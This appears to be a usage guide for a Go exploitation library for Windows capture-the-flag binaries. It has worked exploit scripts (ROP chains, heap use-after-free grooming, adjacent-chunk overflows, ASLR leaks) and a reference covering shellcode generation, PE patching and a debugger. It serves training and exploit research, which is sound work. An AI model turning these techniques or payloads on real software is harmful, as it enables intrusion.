25 KiB
winpwn usage guide
Worked examples, then a function-by-function reference.
Setup
Write solve scripts in C:\tools\workspace\, not inside go_pwner\ (the library
source).
C:\tools\
├── go_pwner\ ← library source
└── workspace\ ← solve scripts
├── go.mod ← replace winpwn => ../go_pwner
└── mytask\
├── main.go
└── chal.exe
cd C:\tools\workspace
mkdir mytask && cd mytask
copy path\to\chal.exe .
# write main.go, then:
go run .
import "winpwn" resolves anywhere inside workspace\ via the replace
directive in go.mod. Examples below assume the working directory holds the
target binary and are run with go run main.go.
Example 1 — info leak + redirect
Target (workspace/task1_leak) leaks the address of
main, then reads a hex address from stdin and jumps to it. No ASLR, so win()
is at a fixed offset from main.
tube, err := winpwn.Spawn("./task1.exe")
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
log.Fatalf("RecvUntil: %v", err)
}
addrBytes, err := tube.RecvUntil([]byte("\n"))
mainAddr, _ := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64)
winAddr := mainAddr - 267 // addr(win) - addr(main), found once in x64dbg
payload := fmt.Sprintf("%x", winAddr)
if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil {
log.Fatalf("SendLineAfter: %v", err)
}
tube.Interactive()
[+] Leaked main: 0x7FF71CC51657
[+] Calculated win: 0x7FF71CC5154C
Your input: 7ff71cc5154c
You won!
flag{FLAG}
[*] Process exited normally (code 0)
Example 2 — checksec + ROP + verified gadget chain
Target (workspace/task2_rop) is DEP-protected with
win(int secret) exported (__declspec(dllexport)) and a stack overflow in
vulnerable(). Win condition: return into win() with RCX = 0xdeadbeef.
Confirm mitigations:
pf, _ := winpwn.OpenPE("task2.exe")
r, _ := pf.Checksec()
// r.ASLR == false, r.DEP == true
Resolve win() from the export table:
winRVA, _ := pf.GetProcAddress("win")
imageBase, _ := pf.ImageBase()
winAddr := imageBase + winRVA
Find and verify a pop rcx ; ret gadget:
rop, _ := winpwn.NewROP("task2.exe") // requires rp-win.exe (see ROP section)
defer rop.Close()
popRcx := rop.Find("pop rcx ; ret")[0].Address // index 0 = cleanest ranked match
lines, _ := rop.Disassemble(popRcx, 2)
fmt.Println(lines) // ["pop rcx", "ret"]
Build and send the chain:
ret := retGadgets[0].Address // bare "ret" for stack alignment
payload := bytes.Repeat([]byte("A"), offset)
payload = append(payload, winpwn.P64(popRcx)...)
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
payload = append(payload, winpwn.P64(ret)...)
payload = append(payload, winpwn.P64(winAddr)...)
tube, _ := winpwn.Spawn("task2.exe")
tube.SendLineAfter([]byte("Input: "), payload)
tube.Interactive()
offset is the distance from the buffer to the saved return address. For this
build it is 56 bytes (buf at rbp-0x30, plus the 8-byte saved RBP), not the
40 a "32-byte buffer + saved RBP" estimate would give. Confirm it per target with
objdump -d / rop.Disassemble / a cyclic pattern; do not assume the source
comment's number.
[+] win() address: 0x140001538
[+] pop rcx; ret address: 0x140002740
[*] verified: [pop rcx ret]
you just got shell
[*] Switching to interactive mode
Microsoft Windows [Version 10.0.19045.5737]
C:\...\task2_rop>
Example 3 — LFH use-after-free
Target (workspace/heap_lfh) creates a private heap forced
into LFH mode via HeapSetInformation(heap, HeapCompatibilityInformation, 2).
It manages Note{ char title[24]; void (*onPrint)(const char*); } (32 bytes):
A <text> allocates and leaks the address, F <id> frees without clearing the
pointer, B <hex32bytes> allocates a raw 32-byte buffer, P <id> calls
notes[id]->onPrint(...) with no liveness check (the bug).
Technique: allocate filler notes, allocate the victim last, free it, then spray
32-byte buffers (each a fake Note with onPrint = win()), checking each
spray's leaked address against the victim's. Freeing the most recently allocated
same-size object makes the freed slot come back within a handful of attempts.
for i := 0; i < 5; i++ {
tube.SendLine([]byte(fmt.Sprintf("A filler%d", i)))
tube.RecvLine()
}
tube.SendLine([]byte("A victim"))
resp, _ := tube.RecvLine()
victimAddr, _ := parseAddr(resp) // "OK id=5 addr=0x..."
tube.SendLine([]byte("F 5"))
tube.RecvLine()
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
payloadHex := winpwn.Enhex(payload)
// Seed with the freed victim's address; stop when a spray matches it.
victim := winpwn.SprayResult[uint64]{ID: 5, Key: victimAddr}
_, _, attempts, ok, _ := winpwn.SprayAndFind(
[]winpwn.SprayResult[uint64]{victim}, 64,
func(attempt int) (winpwn.SprayResult[uint64], error) {
tube.SendLine([]byte("B " + payloadHex))
resp, err := tube.RecvLine()
addr, perr := parseAddr(resp)
if perr != nil {
err = perr
}
return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
},
func(a, b uint64) bool { return a == b },
)
tube.SendLine([]byte("P 5")) // onPrint is now win()
tube.Interactive()
Note: which object you free determines whether reuse happens in ~1 attempt or not at all. Freeing an early allocation and waiting for it to return this way is unreliable — LFH favors the subsegment being actively filled. Every grooming number here was measured on one Windows build (10.0.26100); re-measure per target.
Example 4 — Segment Heap adjacent-chunk overflow
Target (workspace/heap_segment) opts into Segment Heap
via an embedded manifest (<heapType>SegmentHeap</heapType>). It manages
Profile{ char name[24]; void (*describe)(const char*); } (32 bytes). Bug:
O <id> <hex> memcpys len(hex)/2 bytes at profiles[id] with no bounds
check. The heap signature at GetProcessHeap()+0x10 is 0xddeeddee (Segment
Heap); 0xffeeffee would be NT Heap.
Segment Heap randomizes placement within the page, so sequential allocations are
not adjacent in memory. Technique: spray, leak every address, find any pair
exactly sizeof(Profile) = 32 bytes apart; the lower one overflows into the
higher one's describe field.
// No seed: each new sample is checked against all prior samples.
a, b, _, ok, _ := winpwn.SprayAndFind(nil, 20,
func(i int) (winpwn.SprayResult[uint64], error) {
tube.SendLine([]byte(fmt.Sprintf("A filler%d", i)))
resp, err := tube.RecvLine()
id, addr, perr := parseIDAndAddr(resp)
if perr != nil {
err = perr
}
return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err
},
func(x, y uint64) bool {
d := int64(y) - int64(x)
return d == 32 || d == -32 // sizeof(Profile)
},
)
attackerID, victimID := a.ID, b.ID
if a.Key > b.Key { // lower address overflows forward
attackerID, victimID = b.ID, a.ID
}
payload := append(bytes.Repeat([]byte{0x41}, 56), winpwn.P64(winAddr)...)
tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, winpwn.Enhex(payload))))
tube.SendLine([]byte(fmt.Sprintf("D %d", victimID)))
tube.Interactive()
The same SprayAndFind primitive handles Example 3 (equality match) and this
case (distance match) with a different match function. The 32-byte distance and
"spray 20 finds a pair" are facts about this struct on this build; re-measure.
Example 5 — native debugger session
Composes SpawnSuspended/ResumeMainThread (target has not executed an
instruction when the debugger attaches) with Attach, and breaks at the PE's
real entry point (ASLR-safe: resolve the module base at runtime, add the disk
PE's entry RVA).
diskPE, _ := winpwn.OpenPE("target.exe")
diskBase, _ := diskPE.ImageBase()
diskEntry, _ := diskPE.EntryPoint()
diskPE.Close()
entryRVA := diskEntry - diskBase
tube, pid, _ := winpwn.SpawnSuspended("target.exe")
dbg, _ := winpwn.Attach(pid)
winpwn.ResumeMainThread(pid)
var bpSet bool
for ev := range dbg.Events() {
if !bpSet {
if base, err := winpwn.ResolveModuleBase(pid, "target.exe"); err == nil {
dbg.SetBreakpoint(uintptr(base) + uintptr(entryRVA))
bpSet = true
}
}
hitEntry := ev.Kind == winpwn.EventBreakpoint
if hitEntry {
regs, _ := dbg.GetContext(ev.ThreadID)
fmt.Printf("hit entry point, Rip=0x%x Rsp=0x%x\n", regs.Rip, regs.Rsp)
}
dbg.Continue(ev) // every event, breakpoint included
if hitEntry {
break
}
}
dbg.Close()
tube.Close()
Notes:
ResolveModuleBasefails on the first event or two (loader not run yet); the loop retries each event until it succeeds.- A breakpoint event's
Ripreads back exactly equal to the breakpoint address. The CPU leavesRipone byte past theint3;Attachrewinds it before the event is delivered. Continuepast a breakpoint re-arms it (restore byte, single-step, rewrite0xCC), so the loop must callContinueeven on the event it breaks out on.
Example 6 — UAF type confusion, no LFH
Two same-size (32-byte) structs: Note{char title[24]; void(*onPrint)(char*)}
and Token{char data[24]; void(*validate)(char*)}. D frees a Note but leaves
the table pointer. No LFH, so the freed slot returns on the next 32-byte
allocation (workspace/heap_typemix).
tube.SendLine([]byte("N victim"))
resp, _ := tube.RecvLine() // "OK id=0 addr=0x..."
victimAddr, _ := parseAddr(resp)
tube.SendLine([]byte("D 0"))
tube.RecvLine()
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
tube.SendLine([]byte("T " + winpwn.Enhex(payload)))
tube.RecvLine()
tube.SendLine([]byte("P 0")) // note[0]->onPrint is now win()
tube.Interactive()
Example 7 — adjacent-chunk overflow, NT Heap backend
Note{char buf[24]; void(*action)(char*)} = 32 bytes. W <id> <hex> writes
hex-decoded bytes to note->buf with no bounds check. Two notes allocated
sequentially on a clean NT Heap backend (no LFH at 2 allocations) are adjacent.
Overflow layout from note[0]: 24 (buf) + 8 (action) + 16 (NT _HEAP_ENTRY
header) + 24 (note[1].buf) + 8 (note[1].action) = 80 bytes; win() at offset 72
(workspace/heap_overflow).
tube.SendLine([]byte("A note0"))
tube.RecvLine()
tube.SendLine([]byte("A note1"))
tube.RecvLine()
payload := bytes.Repeat([]byte{0x41}, 24) // note[0].buf
payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...) // note[0].action
payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // _HEAP_ENTRY header
payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1].buf
payload = append(payload, winpwn.P64(winAddr)...) // note[1].action = win()
tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload)))
tube.RecvLine()
tube.SendLine([]byte("C 1"))
tube.Interactive()
Example 8 — OOB read defeats ASLR + UAF
ASLR enabled (winpwn checksec shows ASLR: Yes). S <id> <len> prints len
bytes of note->data with no bounds check, leaking the 8-byte onShow pointer
(= real_show, an export). The static RVA difference between win and
real_show gives win() (workspace/heap_info_leak).
// Static RVA difference (constant regardless of ASLR)
pf, _ := winpwn.OpenPE("heap_info_leak.exe")
realShowRVA, _ := pf.GetProcAddress("real_show")
winRVA, _ := pf.GetProcAddress("win")
rvaDiff := int64(winRVA) - int64(realShowRVA)
pf.Close()
// Leak onShow via OOB read
tube.SendLine([]byte("N victim"))
tube.RecvLine()
tube.SendLine([]byte("S 0 32")) // 24 safe, request 32
resp, _ := tube.RecvLine() // "HEX <64hexchars>"
hexBytes, _ := hex.DecodeString(string(bytes.TrimPrefix(resp, []byte("HEX "))))
realShowVA := binary.LittleEndian.Uint64(hexBytes[24:32])
winVA := uint64(int64(realShowVA) + rvaDiff)
// UAF (as Example 6)
tube.SendLine([]byte("D 0"))
tube.RecvLine()
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
tube.SendLine([]byte("T " + winpwn.Enhex(payload)))
tube.RecvLine()
tube.SendLine([]byte("P 0"))
tube.Interactive()
Function reference
Tubes (tube.go, process.go, remote.go)
t, err := winpwn.Spawn("./target.exe") // local process
t, err := winpwn.Remote("host", "1337") // TCP
t.Send([]byte("data")) // no trailing newline
t.SendLine([]byte("data")) // + Context.Newline
t.SendAfter([]byte("delim"), []byte("data"))
t.SendLineAfter([]byte("delim"), []byte("data"))
buf, err := t.Recv(64) // up to 64 bytes
line, err := t.RecvUntil([]byte("delim")) // inclusive of delim
line, err := t.RecvLine() // == RecvUntil(Context.Newline)
data, err := t.RecvPred(func(b []byte) bool { return len(b) > 10 })
data, err := t.RecvRegex(regexp.MustCompile(`\d+`))
t.SetTimeout(2 * time.Second) // overrides Context.Timeout
t.Interactive() // hand stdin/stdout to the terminal
t.Close() // idempotent
Every Send*/Recv* returns error.
Named pipes (pipe_windows.go)
tube, err := winpwn.ServePipe("mypipe") // server: \\.\pipe\mypipe, blocks for one client
tube, err := winpwn.DialPipe("mypipe") // client
Returns a *Tube; every tube method works over a named pipe. Opened with
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED.
Context & logging (context.go, log.go)
winpwn.Context.Timeout = 5 * time.Second // global default for new tubes
winpwn.Context.LogLevel = winpwn.LogLevelSilent
winpwn.Info("leaked: 0x%x", addr) // [*]
winpwn.Success("got shell") // [+]
winpwn.Warn("retrying") // [!]
winpwn.Error("gadget not found") // [-]
Packing (packing.go)
winpwn.P16(0x1234) // []byte{0x34, 0x12}
winpwn.P32(addr32)
winpwn.P64(addr64)
winpwn.U32(buf)
winpwn.U64(buf)
Cyclic patterns (cyclic.go)
pattern := winpwn.Cyclic(200) // de Bruijn, n=4 (default)
pattern8 := winpwn.CyclicN(200, 8) // n=8, for 64-bit pointer offsets
offset := winpwn.CyclicFind(crashedRIPBytes) // n=4
offset8 := winpwn.CyclicFindN(crashedRIPBytes, 8) // n=8
Fiddling (fiddling.go)
winpwn.Hexdump(data) // hex+ASCII dump, string
hexStr := winpwn.Enhex(data)
raw, err := winpwn.Unhex(hexStr)
xored := winpwn.Xor(data, []byte{0x41}) // key cycles if shorter than data
PE parsing (pe.go, sections.go)
pf, err := winpwn.OpenPE("target.exe")
defer pf.Close()
base, _ := pf.ImageBase()
entry, _ := pf.EntryPoint()
is64, _ := pf.Is64Bit()
for _, sec := range pf.Sections() {
sec.IsReadable(); sec.IsWritable(); sec.IsExecutable(); sec.IsRWX()
sec.VirtualAddress // RVA in the loaded image
sec.Offset // PointerToRawData, file offset on disk
entropy, _ := sec.Entropy()
}
packed, _ := pf.LikelyPackedSections(0) // 0 == default UPX-style 7.2 threshold
offsets, err := pf.SearchBytes([]byte("cmd.exe\x00"))
// Distinct imported DLLs, each LoadLibrary'd for its live image base.
// System DLL bases are randomized per boot, not per process, so this is valid
// machine-wide until the next reboot without running the target.
libs, err := pf.ImportedLibs() // []ImportedLib{Name, Base, Err}
Live-process memory, not just a disk file (procmem_windows.go):
base, err := winpwn.ResolveModuleBase(pid, "kernel32.dll")
pf, err := winpwn.OpenPEFromProcess(pid, base)
// every accessor (Checksec, ListExports, NewROP, ...) works identically here
Loaded-module symbols (symbols_windows.go)
Analogue of pwntools' p.libs / p.symbols. For multiple lookups, use
ProcessSymbols:
tube, _ := winpwn.Spawn("chal.exe")
sym := winpwn.NewProcessSymbols(tube.PID()) // tube.PID() -> uint32
defer sym.Close()
k32, _ := sym.Base("kernel32.dll") // p.libs["kernel32.dll"]
winexec, _ := sym.Symbol("kernel32.dll", "WinExec") // p.symbols["kernel32.dll"]["WinExec"]
mods, _ := sym.Modules() // map[string]uint64
all, _ := sym.AllSymbols("kernel32.dll") // map[string]uint64
ProcessSymbols caches one PEFile per DLL. For one-off lookups:
libs, _ := winpwn.ListLoadedModules(pid) // map[string]uintptr
va, _ := winpwn.SymbolVA(pid, "kernel32.dll", "WinExec")
Checksec (checksec.go)
r, err := pf.Checksec()
// r.ASLR, r.HighEntropyVA, r.DEP, r.CFG, r.SafeSEH (x86 only; r.SEHApplicable
// reports whether SafeSEH applies), r.GSHeuristic, r.AuthenticodeSigned, r.DotNET
VerifyAuthenticodeSignature(path) (authenticode_windows.go)
verifies a signature via WinVerifyTrust, not just its presence.
Exports / imports (exports.go, imports.go)
exports, err := pf.ListExports() // []Export{Name, Ordinal, RVA, ForwardTarget}
fnRVA, err := pf.GetProcAddress("CreateFileW")
imports, err := pf.ListImports() // []Import{DLL, Name, Ordinal, IATRVA}
imp, err := pf.FindImport("VirtualProtect") // whether the binary imports X
ROP gadgets (gadgets.go, rop.go)
NewROP shells out to rp-win.exe (resolved from RP_WIN_EXE or
C:\tools\rp-win\rp-win.exe), run with --allow-branches, so results include
JOP transit gadgets (jmp reg/call reg) as well as ret-terminated ones.
rop, err := winpwn.NewROP("target.exe")
defer rop.Close()
addr := rop.Find("pop rcx ; ret")[0].Address // ranked, index 0 = cleanest
gadgets, err := rop.Search("pop rcx ; ret") // same search, (results, error)
gadgets, err := rop.SearchRegex(`^pop r\w+ ; ret$`) // regex match
lines, err := rop.Disassemble(addr, 3) // verify a chain in-script
ropExt, err := winpwn.NewROPExternal("target.exe", `C:\other\rp++.exe`) // explicit tool path
Find indexes into an empty slice (panics) on no match — a deliberate loud
failure at the lookup rather than a garbage address downstream.
Patching (patch.go)
pf, err := winpwn.OpenPEForWrite("target.exe")
defer pf.Close()
pf.MakeSectionExecutable(".data")
pf.MakeSectionWritable(".text")
pf.DisableTLSCallbacks()
pf.PatchBytes(rva, []byte{0x90, 0x90})
pf.RecalculateChecksum()
Shellcode (shellcraft.go, shellcode_exec_windows.go)
code, err := winpwn.ShellcodeWinExec("calc.exe") // PIC x64, resolves kernel32 via the PEB
err := winpwn.ExecuteShellcode(code) // run locally to validate the template
Minidump (minidump.go)
m, err := winpwn.OpenMinidump("crash.dmp")
defer m.Close()
mods, err := m.Modules() // []MinidumpModule{Name, BaseOfImage, SizeOfImage, ...}
exc, err := m.Exception() // *MinidumpException{ThreadID, ExceptionCode, ExceptionAddress, Parameters}
raw, err := m.RawStream(winpwn.StreamSystemInfo) // any stream not decoded natively
Debugger (debugger_windows.go)
tube, pid, err := winpwn.SpawnSuspended("target.exe")
dbg, err := winpwn.Attach(pid) // before ResumeMainThread to see everything
winpwn.ResumeMainThread(pid)
for ev := range dbg.Events() {
// ev.Kind: EventBreakpoint/EventException/EventCreateProcess/
// EventCreateThread/EventExitThread/EventExitProcess/EventLoadDll/
// EventUnloadDll/EventOutputDebugString
if ev.Kind == winpwn.EventBreakpoint {
regs, _ := dbg.GetContext(ev.ThreadID) // Rax..R15, Rsp, Rbp, Rip, EFlags
dbg.SetContext(ev.ThreadID, regs)
data, _ := dbg.ReadMemory(uintptr(regs.Rsp), 32)
dbg.WriteMemory(someAddr, []byte{0x90})
}
dbg.Continue(ev) // required for every event
}
dbg.SetBreakpoint(addr) // software INT3; Continue re-arms it
dbg.RemoveBreakpoint(addr)
dbg.Step(tid) // single-step (not meaningful right at a fresh breakpoint hit)
dbg.Close() // detach without killing the target
Heap struct parsing (heap.go, heap_lfh.go, heap_segment.go, heap_windows.go)
All heap APIs work against any io.ReaderAt (*ProcessMemory, *Debugger, or a
test buffer). Only ListProcessHeaps needs a live process (walks the PEB).
// Find heaps
heaps, err := winpwn.ListProcessHeaps(pid) // reads PEB.ProcessHeaps
kind, err := winpwn.DetectHeapKind(mem, heapAddr) // HeapKindNT or HeapKindSegment
// NT Heap
h, err := winpwn.ReadHeap(mem, heapAddr)
// h.Flags, h.FrontEndHeapType (FrontEndHeapNone/LFH/Lookaside), h.FrontEndHeap
// h.BaseAddress, h.FirstEntry, h.LastValidEntry, h.EncodingActive()
entries, err := h.WalkAllHeapEntries(mem) // all segments
entries, err := h.WalkSegment0(mem) // embedded Segment0 only
// Entry fields
e.Addr; e.BlockSize(); e.UserSize(); e.UserData()
e.Busy(); e.LastEntry(); e.VirtualAlloc()
e.PreviousBlockSize(); e.NextEntry()
// Analysis
stats := winpwn.SummariseEntries(entries) // TotalEntries, BusyEntries, FreeEntries, BusyBytes, FreeBytes
pairs := winpwn.AdjacentBusyPairs(entries) // [][2]HeapEntry
subset := winpwn.EntriesInRange(entries, lo, hi)
hits := winpwn.EntriesWithUserData(entries, leakedAddr1, leakedAddr2)
// Segments
segAddrs, err := h.Segments(mem)
_, firstEntry, lastValid, err := winpwn.ReadSegmentRange(mem, segAddr)
entries, err := winpwn.WalkSegmentEntries(mem, firstEntry, lastValid, h.EncodingOrNil())
// NT Heap LFH
buckets, err := winpwn.ReadLFHBuckets(mem, h.FrontEndHeap)
bucket, err := winpwn.FindLFHBucket(buckets, 32) // 32-byte alloc -> BlockSize >= 32+16
subsegAddr, err := winpwn.ActiveSubsegment(mem, h.FrontEndHeap, bucket.Index)
subsegAddrs, err := winpwn.AllSubsegments(mem, h.FrontEndHeap, bucket.Index)
subseg, err := winpwn.ReadLFHSubsegment(mem, subsegAddr)
// subseg.BlockSize, subseg.BlockCount, subseg.Busy ([]bool), subseg.UserBlocksAddr
off := winpwn.CalibrateLFHFirstBlockOffset(subseg, knownAddr) // anchor on a leaked address
addr := subseg.BlockAddress(off, slotIndex)
idx, ok := subseg.SlotOf(off, knownAddr)
// Segment Heap
sh, err := winpwn.ReadSegmentHeap(mem, heapAddr)
// sh.GlobalFlags
// sh.VS -- SegmentVSContext{CommittedUnits, FreeUnits, SubsegmentCount, Subsegments}
// sh.LFH -- SegmentLFHContext{ActiveBuckets: []SegmentLFHBucket{Index, TotalBlockCount}}
// Address-level adjacency (no chunk-header decode; operates on leaked addresses)
pairs := winpwn.AdjacentAddressPairs(addrs, 32) // all (lo, lo+32) pairs
lo, hi, found := winpwn.FindAdjacentPair(addrs, 32) // first pair
Empirical facts for build 10.0.26100 (verify on other builds):
- LFH activates per-bucket after ≈19 same-size requests. Earlier allocations go to the backend and do not appear in the LFH subsegment structure.
_HEAP_USERDATA_HEADER.EncodedOffsetsis obfuscated — calibrate withCalibrateLFHFirstBlockOffsetagainst a known address._HEAP_VS_CHUNK_HEADER.Sizesis XOR-encoded and not decoded in this pass.- NT Heap entry XOR-encoding is decoded transparently by walk functions.
heap_handle + 0x2c0stores a pointer within ntdll (observedntdll+~0x163d10on this build) — usable for an ntdll base leak from a heap address.
Spray helper (spray.go)
older, newer, attempts, ok, err := winpwn.SprayAndFind(
seed, // []winpwn.SprayResult[K]{} or pre-seeded with a known target
maxAttempts,
func(attempt int) (winpwn.SprayResult[K], error) { /* one spray -> (id, leaked value) */ },
func(a, b K) bool { /* the relation: equality, "N apart", etc. */ },
)
Examples 3 (seeded equality) and 4 (no-seed pair search) show both shapes.
CLI (cmd/winpwn)
winpwn checksec target.exe # mitigations + sections + imported DLLs' live base
winpwn cyclic 200
winpwn cyclic -l aaab
winpwn hexdump target.exe
winpwn rop target.exe -search "pop rcx ; ret"
winpwn rop target.exe -regex "^pop r.* ; ret$"
winpwn bytes target.exe ebfe # every VA of a byte pattern; accepts "ebfe", "EB FE", "\xeb\xfe"
winpwn disasm target.exe 0x140001538 5
winpwn exports target.dll
winpwn imports target.exe
winpwn hex / winpwn unhex # stdin-piped
winpwn heap <pid> # enumerate all heaps in a live process
winpwn heap <pid> -walk # also walk NT Heap entries: busy/free counts + adjacent pairs
winpwn rop/NewROP require rp-win.exe; a missing tool is a clear error naming
the env var to set.
cmd/pwninit
cd path\to\task_dir
copy \path\to\chal.exe .
pwninit # auto-detects the lone .exe/.dll
Prints recon (arch, checksec, per-section R/W/Offset/entropy, imported DLLs' live
base), then writes a go.mod (replace winpwn => <path>, from WINPWN_HOME or
C:\tools\go_pwner) and a minimal main.go (Spawn + Interactive). Will not
overwrite an existing go.mod/main.go without -force.
winpwn heap <pid> output:
pid 5160: 3 heap(s)
[0] 0x0000000000080000 Segment Heap
GlobalFlags=0x00000000
VS context @ 0x80280: committed=12 free=3 subsegments=1
LFH active buckets (total-blocks): [5]=50
[1] 0x0000000000010000 NT Heap
flags=0x00008000 encoding=true front-end=none
segments: 2
[2] 0x00000000001a0000 NT Heap
flags=0x00001002 encoding=true front-end=LFH @ 0x8d0000
segments: 2
entries: total=18 busy=16 free=2 busy_bytes=25467 free_bytes=9360
LFH active buckets: [0]=16b [1]=32b [2]=48b ...
See ROADMAP.md for implementation status and planned work.